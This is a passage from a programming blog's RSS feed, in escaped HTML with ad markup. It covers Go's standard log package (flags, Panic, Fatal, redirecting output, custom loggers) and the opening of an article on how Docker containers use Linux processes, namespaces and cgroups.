&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/go/go-basic-testing-and-coverage/&#34;&gt;your go testing&lt;/a&gt;&#xA; easier.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;p class=&#34;message info&#34;&gt;&#xA;    &lt;span&gt;&lt;img width=&#34;60&#34; height=&#34;60&#34; src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1717959563/Go_gopher_favicon_uzxa20.svg&#34; alt=&#34;&#34;&gt;&lt;/span&gt;&#xA;    &lt;a target=&#34;_blank&#34; rel=”nofollow” href=&#34;https://coffeebytes.dev/en/pages/go-programming-language-tutorial/&#34;&gt;&#xA;    Hey! did you know that I wrote a completely Free Go programming language tutorial?, click here to read it it&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;log-println&#34;&gt;Log Println&lt;/h2&gt;&#xA;&lt;p&gt;The log package is integrated into the standard logging library and its simplest function is Println which, for practical purposes, is like the standard Println but with some built-in benefits.&lt;/p&gt;&#xA;&lt;p&gt;By default when logging something with go it will return the date and time, followed by the message we pass as an argument.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;log.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Message&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// 2022/06/28 13:38:25 Message&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The Println method of log behaves exactly like the &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/go/go-functions-arguments-and-the-fmt-package/&#34;&gt;fmt library&lt;/a&gt;&#xA; method, so you can pass it multiple parameters and it will print them one by one.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;flags-in-logging&#34;&gt;Flags in logging&lt;/h2&gt;&#xA;&lt;p&gt;It is possible to change the default format in which the messages are displayed, change the order of the elements or add more information by calling the SetFlags method and passing it as arguments any of the flags provided by go.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;log.&lt;span style=&#34;color:#57c7ff&#34;&gt;SetFlags&lt;/span&gt;(log.Ldate | log.Lshortfile)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;log.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Message&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// 2022/06/28 main.go:10: Message&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;There are more flags available in addition to the above two.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h3 id=&#34;flags-available&#34;&gt;Flags available&lt;/h3&gt;&#xA;&lt;p&gt;Flags are available to show the full path to our file, the line number or to move the prefix and place it before the message. I leave them below.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;const&lt;/span&gt; (&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    Ldate         = &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;iota&lt;/span&gt;     &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;// Local date: 2009/01/23&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    Ltime                         &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;// Local datetime: 01:23:23&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    Lmicroseconds                 &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;// Miscroseconds resolution: 01:23:23.123123. Asume Ltime.&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    Llongfile                     &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;// Full route and line number: /a/b/c/d.go:23&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    Lshortfile                    &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;// File and line number: d.go:23. Overwrites Llongfile&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    LUTC                          &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;// If Ldate or Ltime are active uses UTC instead of local time&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    Lmsgprefix                    &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;// Move the prefix and places it before the message &lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    LstdFlags     = Ldate | Ltime &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;// Initial values: Ldate y Ltime&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;handling-errors-with-logging&#34;&gt;Handling errors with logging&lt;/h2&gt;&#xA;&lt;p&gt;In addition to displaying information, it is possible to use methods, such as Panic and Fatal, to handle errors in our code.&lt;/p&gt;&#xA;&lt;h3 id=&#34;logging-panic&#34;&gt;Logging Panic&lt;/h3&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;The log method has a Panic method that prints a message and calls the panic function.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;log.&lt;span style=&#34;color:#57c7ff&#34;&gt;Panic&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;System panicking&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Panic has two variants:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Panicf: The equivalent of Printf, for formatting with position operators.&lt;/li&gt;&#xA;&lt;li&gt;Panicln: The equivalent of Println&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3 id=&#34;logging-fatal&#34;&gt;Logging Fatal&lt;/h3&gt;&#xA;&lt;p&gt;If we want to terminate the execution of our program immediately, without allowing the system to recover, we have at our disposal the Fatal method.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;log.&lt;span style=&#34;color:#57c7ff&#34;&gt;Fatal&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;A fatal error has occurred&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Like Panic, Fatal has two variants:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Fatalf: The equivalent of Printf, for formatting with position operators.&lt;/li&gt;&#xA;&lt;li&gt;Fatalln: The equivalent of Println&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;redirecting-logging-output&#34;&gt;Redirecting logging output&lt;/h2&gt;&#xA;&lt;p&gt;As I mentioned before, the library allows us to redirect, through its SetOutput method, the output of our logging to a destination; either the Stdout, the Stderr, the Stdin or even a file.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;log.&lt;span style=&#34;color:#57c7ff&#34;&gt;SetOutput&lt;/span&gt;(os.Stdout)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;In the example above we are redirecting it to the standard output.&lt;/p&gt;&#xA;&lt;h3 id=&#34;redirecting-to-a-file&#34;&gt;Redirecting to a file&lt;/h3&gt;&#xA;&lt;p&gt;To redirect our logs to a file, we first need to create it and then pass it as an argument to the SetOutput method, after that, all our logs will be written to our file and we will be able to retrieve them later.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;file, _ &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; os.&lt;span style=&#34;color:#57c7ff&#34;&gt;Create&lt;/span&gt;(name: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;program.log&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;log.&lt;span style=&#34;color:#57c7ff&#34;&gt;SetOutput&lt;/span&gt;(file)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;log.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Message to file&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;file.&lt;span style=&#34;color:#57c7ff&#34;&gt;Close&lt;/span&gt;()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;customized-loggers&#34;&gt;Customized loggers&lt;/h2&gt;&#xA;&lt;p&gt;The log package allows us to create different types of loggers, using the New method, this method receives the following arguments; first, the destination of our logs, as you saw, this can be to the Stdout, the Stderr, the Stdin or a file; second, the prefix to show in each message; third, the flags with which we want to format our logs.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;infoLogger &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; log.&lt;span style=&#34;color:#57c7ff&#34;&gt;New&lt;/span&gt;(os.Stdout, prefix: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;INFO: &amp;#34;&lt;/span&gt;, flags)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Once our log is created, we can call its Println method to display it in the standard output.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;infoLogger.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;This is an Info message&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</content:encoded>
      <summary>&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;As you probably already know, you should not use prints for debugging. The standard go logging library is much more versatile, it adds dates, filenames and other information, plus you can redirect the logs to standard output, to a file or wherever you want. This can make your debugging process more enjoyable and &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/go/go-basic-testing-and-coverage/&#34;&gt;your go testing&lt;/a&gt;&#xA; easier.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>How Does a Docker Container Work Internally?</title>
      <link>https://coffeebytes.dev/en/docker/how-does-a-docker-container-work-internally/</link>
      <pubDate>Sat, 18 Jun 2022 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/docker/how-does-a-docker-container-work-internally/</guid>
      
      <category>docker</category>
      
      <category>linux</category>
      
      <category>go</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;Containers, especially Docker containers, are used everywhere, we tend to see them as small isolated operating systems that are inside our system. Using the &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/docker/the-most-useful-and-basic-docker-commands/&#34;&gt;Docker commands&lt;/a&gt;&#xA; we can modify them, create them, delete them and even get inside them and run commands, but have you ever wondered how they work internally?&lt;/p&gt;&#xA;&lt;p&gt;We know that a container is a linux process with several characteristics:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;A linux process, or group of processes, executed by a user.&lt;/li&gt;&#xA;&lt;li&gt;It is isolated from the operating system that hosts it (&lt;strong&gt;Namespaces&lt;/strong&gt;).&lt;/li&gt;&#xA;&lt;li&gt;It has a limited amount of resources (&lt;strong&gt;Cgroups&lt;/strong&gt;).&lt;/li&gt;&#xA;&lt;li&gt;It has a file system independent of the operating system in which it runs (&lt;strong&gt;Chroot&lt;/strong&gt;).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;To achieve this, docker, and other container technologies, take advantage of some features of GNU/Linux (from now on only linux):&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Processes&lt;/li&gt;&#xA;&lt;li&gt;Namespaces&lt;/li&gt;&#xA;&lt;li&gt;Cgroups&lt;/li&gt;&#xA;&lt;li&gt;Chroot&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;I am going to explain them briefly but you can go deeper on your own if you want to.&lt;/p&gt;&#xA;&lt;h2 id=&#34;docker-containers-use-processes-namespaces-and-cgroups-on-linux&#34;&gt;Docker containers use processes, namespaces and cgroups on linux&lt;/h2&gt;&#xA;&lt;h3 id=&#34;process&#34;&gt;Process&lt;/h3&gt;&#xA;&lt;p&gt;In simple words, a process is an instance of a running program. What is important here is that each process in linux has a PID, which is a number used to identify the process.&lt;/p&gt;&#xA;&lt;p&gt;As you know, you can view the processes using the &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/linux/linux-basic-commands-passwd-du-useradd-usermod-fdisk-lscpu-apt-which/&#34;&gt;ps, top, htop commands&lt;/a&gt;&#xA;, etc.&lt;/p&gt;&#xA;&lt;p&gt;A container is a process, or a group of processes, isolated from the rest of the operating system, by means of a namespace.&lt;/p&gt;&#xA;&lt;h3 id=&#34;namespace&#34;&gt;Namespace&lt;/h3&gt;&#xA;&lt;p&gt;A namespace limits what we can see.&lt;/p&gt;&#xA;&lt;p&gt;Namespaces are a Linux abstraction layer that isolates system resources. Processes inside a namespace are aware of other processes inside that namespace, but processes inside a namespace cannot interact with processes outside that namespace. Each process can belong to only one namespace.&lt;/p&gt;&#xA;&lt;p&gt;A namespace is what makes a container feel like another operating system.&lt;/p&gt;&#xA;&lt;p&gt;In linux, a namespace will be deactivated when its last process has finished running.&lt;/p&gt;&#xA;&lt;h4 id=&#34;types-of-namespaces-in-linux&#34;&gt;Types of namespaces in linux&lt;/h4&gt;&#xA;&lt;p&gt;There are different types of namespaces that control the resources to which a process has access:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;UTS(Unix Time Sharing) namespace: Isolates hostname and domain.&lt;/li&gt;&#xA;&lt;li&gt;PID namespace: Isolates process identifiers.&lt;/li&gt;&#xA;&lt;li&gt;Mounts namespace: Isolates mount points.&lt;/li&gt;&#xA;&lt;li&gt;IPC namespace: Isolates communication resources between processes.&lt;/li&gt;&#xA;&lt;li&gt;Network namespace: Isolates network resources.&lt;/li&gt;&#xA;&lt;li&gt;User namespace: isolates user and group identifiers.&lt;/li&gt;&#xA;&lt;li&gt;cgroups: Isolates /proc/[pid]/cgroup and /proc/[pid]/mountinfo view.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;For example, if we use a namespace of type UTS, the changes we make to the hostname from our namespace will not affect the hostname of the main operating system.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1749084007/coffee-bytes/namespaces-uts-in-linux_cyftsd.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1749084007/coffee-bytes/namespaces-uts-in-linux_cyftsd.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Example of namespaces in linux&#34; width=&#34;1200&#34; height=&#34;630&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Each namespace has its own hostname and domainname&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h3 id=&#34;cgroup&#34;&gt;cgroup&lt;/h3&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;In linux cgroups limit what we can use.&lt;/p&gt;&#xA;&lt;p&gt;The cgroups, or control groups provided by the linux kernel, allow us to organize our processes into groups, and limit the CPU, memory, input, output, number of processes and network packets generated by each of these groups.&lt;/p&gt;&#xA;&lt;p&gt;Linux takes this configuration reading a series of files inside the path &lt;em&gt;/sys/fs/cgroup/&lt;/em&gt;, we can create new cgroups, or modify the existing ones, creating folders and files inside this location.&lt;/p&gt;&#xA;&lt;p&gt;For example, using cgroups we can tell linux: &amp;ldquo;limit the number of CPUs this process can use to only one, and that it can only use 20% of the CPU capacity, and also assign it a maximum of 1GB of RAM&amp;rdquo;.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1749083882/coffee-bytes/cgroups-in-linux_noyjnw.png&#34;&gt;&#xA;&lt;figure 